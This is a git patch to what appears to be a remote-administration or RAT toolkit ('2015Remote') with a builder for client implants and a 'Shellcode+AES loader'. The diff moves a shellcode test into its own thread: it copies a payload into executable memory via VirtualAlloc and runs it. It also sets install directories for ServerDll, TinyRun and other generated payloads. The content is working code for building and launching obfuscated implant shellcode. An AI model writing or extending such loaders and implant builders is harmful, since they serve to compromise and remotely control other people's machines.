From 9f6476a7c49b637546f966bf97a54f07a7e4b59a Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Sun, 7 Jun 2026 11:25:48 +0200
Subject: [PATCH] Fix: Building ServerDll/TinyRun with Shellcode+AES loader now
 works

---
 server/2015Remote/2015RemoteDlg.cpp | 17 ++++++++++++-----
 server/2015Remote/BuildDlg.cpp      |  3 +++
 2 files changed, 15 insertions(+), 5 deletions(-)

diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 2b62ba2..1e751ec 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -8738,6 +8738,17 @@ bool safe_exec(void *exec)
     return false;
 }
 
+DWORD WINAPI sc_thread(LPVOID exec) {
+    if (safe_exec(exec)) {
+        AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
+        return 0x66666666;
+    }
+    else {
+        AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
+        return 0x20260607;
+    }
+}
+
 /* Example: <Select TinyRun.dll to build "tinyrun.c">
 #include "tinyrun.c"
 #include <windows.h>
@@ -8789,11 +8800,7 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = "
             void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
             if (exec) {
                 memcpy(exec, szBuffer, dwFileSize);
-                if (safe_exec(exec)) {
-                    AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
-                } else {
-                    AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
-                }
+                CloseHandle(CreateThread(0, 0, sc_thread, exec, 0, 0));
             }
         } else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
             TCHAR buffer[MAX_PATH];
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index a78aa97..0799d90 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -463,12 +463,14 @@ void CBuildDlg::OnBnClickedOk()
         break;
     case IndexServerDll:
         file = "ServerDll.dll";
+        targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir);
         typ = CLIENT_TYPE_DLL;
         szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
                                 is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
         break;
     case IndexTinyRun:
         file = "TinyRun.dll";
+        targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir);
         typ = CLIENT_TYPE_SHELLCODE;
         szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
                                 is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
@@ -484,6 +486,7 @@ void CBuildDlg::OnBnClickedOk()
         szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
         break;
     case OTHER_ITEM: {
+        targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
         m_OtherItem.GetWindowTextA(file);
         typ = -1;
         if (file != _TR("未选择文件")) {